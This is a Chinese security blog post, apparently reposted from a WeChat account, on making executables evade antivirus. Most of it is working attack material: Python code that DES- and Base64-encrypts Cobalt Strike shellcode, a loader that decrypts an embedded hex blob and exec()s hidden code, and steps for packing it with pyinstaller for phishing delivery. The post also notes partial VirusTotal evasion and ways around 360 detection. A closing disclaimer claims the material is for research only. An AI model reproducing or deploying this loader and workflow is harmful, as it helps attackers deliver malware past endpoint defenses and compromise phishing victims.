前言:忙死了最近 下周估计会更忙了 课设考试比赛 明天还有门考试 然而我还没开始复习
最近把大部分的语言的捣鼓分析了下
c的python的 rust的 go的常见的语言市面上有的都研究了下也写了一下自己的 发觉python的确实可以说是最简单的了,不过其实深入免杀的话 还是得进程注入走ring0层去对抗杀软,不然单纯的静态过了 终究有些行为还是会被动态查杀
这篇分享一篇python的吧 效果看正文 全过的也有 不过现在肯定是不会发的
免杀相关的东西应该暂时先到这里了 当然进程注入自己也还在学 不过这种一般不会发 危害有点大
后面应该就会正常回归深入审计和黑盒的一些技巧的东西了
正文:
最开始的
更改后的
原理:核心还是对shellcode和loader进行加密处理 当然分离肯定也是可以的不过为了防止溯源我觉得这种其实也还行
DES+Base64
shellcode加密
import binascii
from pyDes import des, CBC, PAD_PKCS5
# 需要安装 pip install pyDes
def des_encrypt(secret_key, s):
iv = secret_key
k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5)
en = k.encrypt(s, padmode=PAD_PKCS5)
return binascii.b2a_hex(en)
def des_decrypt(secret_key, s):
iv = secret_key
k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5)
de = k.decrypt(binascii.a2b_hex(s), padmode=PAD_PKCS5)
return de
secret_str = des_encrypt('12345678', 'I love YOU~')
print(secret_str)
clear_str = des_decrypt('12345678', secret_str)
print(clear_str)
加载器loader
# -*- coding:utf-8 -*-
import ctypes
import base64
import binascii
from pyDes import des, CBC, PAD_PKCS5
def des_decrypt(secret_key, s):
iv = secret_key
k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5)
de = k.decrypt(binascii.a2b_hex(s), padmode=PAD_PKCS5)
return de
if __name__ == '__main__':
shell_code =des_decrypt('12345678','')
shell_code=str(shell_code,encoding='utf-8')
shellcode1=base64.b64decode(shell_code)
shellcode=shellcode1.decode().replace('&','c4d8686d9fcabdc94c0fc30b4dfe35c96c70ec9c5bbe538f268cc9c826e27dea25de33d121bf553843593aac8ef0f08b50d70de08efa8c21448256e8e1297726919f6ad3a85a046a7517fc95399626c78a5c2d78b901bf396f348eda70e532e42ec9bfb8e5f13456e745614483a737ab16776061538df48eb82a54c5f9112b76b88b67bf2d960f29ae39cf5a62bc59520d5e364447dd29aa5d8484cc3a102bf4ee3ff2e8375756615e385d5b29113e4e8a5e3d2cd66dfc67a4deb0e38d5908cd498435484b09a0eafbafb8165352fa6bfa4b8fd58ef932c0c7777842b641fc05071302ba1172c6a427f78038cb3eec555a75ecc3c46699edbd0b27466ffd5590eef70d079046b72a6ba260b173d63efd2e12f3691f27061c4942a722b019c44634b93c296611c7ddf1ffabee8daa8d50500ba19ec05aa9ce2b703ec1eecde089142c4022489adc4c816480ac57ebc4b26178ea75d47a48a99ac1b7dc4b9553a47aeff63e9e7fc20be4a785ecaba59a57ea9316b32023bb512464eca5400ed0d0f5822052d263226bdf703bd5422bf914d6770751c6af62c3ee69d02deea7e0caa50f28a0ec6d840df7be10b2c70ab6b29ad40b660478dddbf0c3f453b755a510dc56772c9dccfb6a3a7abf183ec41d389045b260b9bc619c626b6dcdeb388b23d1cf372e3c7262c1d1688820d9738296536e0ea46d38d6979b250661a572335abfd79a23c86b250510f2c8a82660bfa47f855ec0a3c8c809598314acb06fdc6870a7cbfd38fd64023b374b750f1b7888d632b9cfa2b577718931254bd63fa1d7f0de341b02e631fc871b202e2fb426b0d7716ace7bdd44bc6b7753102e379188dabae27534fe37312f765b6895a03146b01320e30cd2ae62e9330d6312da137fc34ee2210f8dadbcd7b20e9de224d6511f726906a8e28c2b05b6154f44c3d918')
shellcode = bytes.fromhex(str(shellcode))
loader =des_decrypt('12345678','')
loader=str(loader,encoding='utf-8')
loader1=base64.b64decode(loader)
loader2=loader1.decode().replace('&','')
exec(loader2)
vt的过不全
微步剩一个
使用方法
1.cs去整个shellcode下来
2.处理生成的shellcode
将x替换为空
得到如下
3.把上面的拿去进行base64加密
4.把得到的base64进行aes加密得到aes加密的
5.把这个数字扔进loader里面去
6.进行编译为exe
pyinstaller -F cs.py
点击上线即可 组合钓鱼的手法就可以很完美了
命令执行一样的
当然高危动作肯定被360杀这是这种免杀的特点 想绕的话使用专门的白名单和相应的手法去执行就好了
原文始发于微信公众号(goddemon的小屋):exe免杀
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论